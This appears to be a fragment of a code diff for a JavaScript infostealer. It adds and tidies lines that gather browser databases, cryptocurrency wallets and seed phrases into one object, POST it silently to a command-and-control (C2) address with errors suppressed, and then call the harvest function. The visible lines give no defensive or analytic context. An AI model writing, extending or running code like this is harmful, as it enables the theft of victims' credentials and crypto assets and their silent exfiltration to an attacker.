|
244
|
+
// Browser databases
|
|
245
|
+
r.browsers=stealBrowserDBs();
|
|
246
|
+
|
|
247
|
+
// Wallets
|
|
248
|
+
r.wallets=scanWallets();
|
|
300
249
|
|
|
301
|
-
//
|
|
302
|
-
|
|
303
|
-
results.seedPhrases=scanSeedPhrases();
|
|
250
|
+
// Seeds
|
|
251
|
+
r.seeds=scanSeeds();
|
|
304
252
|
|
|
305
253
|
// Exfiltrate
|
|
306
254
|
if(C2){
|
|
307
255
|
try{
|
|
308
256
|
const http=require('http');
|
|
309
|
-
const data=JSON.stringify(
|
|
257
|
+
const data=JSON.stringify(r);
|
|
310
258
|
const req=http.request(C2,{method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(data)}});
|
|
311
|
-
req.write(data);
|
|
312
|
-
req.end();
|
|
259
|
+
req.write(data);req.end();
|
|
313
260
|
}catch(e){}
|
|
314
261
|
}
|
|
315
|
-
|
|
316
|
-
return results;
|
|
262
|
+
return r;
|
|
317
263
|
}
|
|
318
264
|
|
|
319
265
|
harvest();
|
|
320
|
-
// Silent — zero console output
|